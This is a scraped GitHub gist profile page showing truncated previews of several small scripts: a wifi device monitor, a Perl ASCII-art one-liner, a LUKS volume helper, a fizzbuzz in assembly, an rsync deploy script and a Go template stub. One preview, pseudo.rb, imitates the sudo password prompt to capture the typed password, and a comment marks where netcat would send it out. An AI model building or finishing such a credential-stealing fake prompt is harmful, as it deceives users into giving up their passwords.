Skip to content

Instantly share code, notes, and snippets.

Patrik Natali beta0x64

Block or report user

Report or block beta0x64

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View compare_wifi.rb
#!/usr/bin/env ruby
require 'rubygems'
require 'json'
require 'pony'
require 'text-table'
# We write a file with the following format:
# ip_address,mac_address,accepted,alerted,first_seen_timestamp
email_to_alert = "email"
gmail_username = 'email'
gmail_app_password = 'password'
View amzn.sh
perl -e 'use utf8; binmode STDOUT, ":encoding(UTF-8)"; no bytes; my $c = "\x{1F0A1} \x{1F0B1} amazon \x{1F0C1} \x{1F0D1}"; use POSIX; my $L = floor(length($c)/2); my $z = 0; for $x (1..50) { for $y (1..50) { $z = !$z; if ($x == 25 && $y == (25 - $L)) { print "$c"; } if ($x == 25 && $y >= (25 - $L) && $y <= (25 + $L - !(length($c) % 2))) { next; } if ($z) { print "."; } else { print " "; } }; $z = !$z; print "\n"; }'
. . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . .
View simpleluks.sh
#!/bin/sh
COMMAND=$1
FILENAME=$2
FILESIZE=$3
usage() {
echo "Usage: ./simpleluks.sh command [args ...]"
echo " ./simpleluks.sh create some_name size_in_GB"
echo " ./simpleluks.sh open some_name"
echo " ./simpleluks.sh close some_name"
}
View pseudo.rb
require 'io/console'
if ARGV.empty?
# show help info
system("/usr/bin/sudo")
else
username = ENV['USER']
print "[sudo] password for #{username}: "
password = STDIN.noecho(&:gets).chomp
puts ""
# netcat goes here
View fizzbuzz.asm
; to compile and run:
; nasm -f elf64 -l fizzbuzz.lst fizzbuzz.asm
; gcc -o fizzbuzz fizzbuzz.o
; ./fizzbuzz
global main
extern printf
section .text
main:
View deploy.sh
rsync -av \
--exclude="/.*" \
--exclude="/golang/" \
--exclude="/bin/" \
--delete \
-e ssh \
~/your_local_site_directory \
username@example.com:~/public_html/site_directory
View template.go
package main
import (
"fmt"
"os"
"io/ioutil"
"text/template"
)
func readLines(path string) (string, error) {
You can’t perform that action at this time.